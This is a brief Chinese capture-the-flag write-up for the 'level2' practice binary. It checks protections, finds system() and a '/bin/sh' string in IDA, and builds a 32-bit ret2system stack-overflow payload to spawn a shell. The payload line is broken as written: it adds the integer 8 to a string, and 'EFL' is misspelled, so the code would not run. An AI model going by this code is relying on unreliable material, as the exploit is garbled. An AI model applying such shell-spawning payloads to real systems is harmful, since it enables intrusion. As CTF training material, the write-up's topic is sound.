checksec查看程序类型
32位小端程序,未开启canary,大概率使用栈溢出解题
在IDA上静态看一看结构
和上题一样存在漏洞,可以看到读取数据之前已经使用过system函数,可以将构造好的ROP通过栈溢出放入。但是这里使用简单的方法解题。这里参数不能够完成得到shell。在ida中使用shift+F12 查看有无可用“/bin/sh”字符串作为参数:
利用栈溢出漏洞,构造payload控制执行流
查询出system函数的地址:ELF('./level2').sym["system"]; 查询出字符串的地址:EFL('./level2').search("/bin/sh").next()
payload = 'a'*0x88+'b'*4+8+p32(sysaddr)+p32(0)+p32(binshaddr)
不知道为啥本地脚本总是崩溃,所以就直接远程了: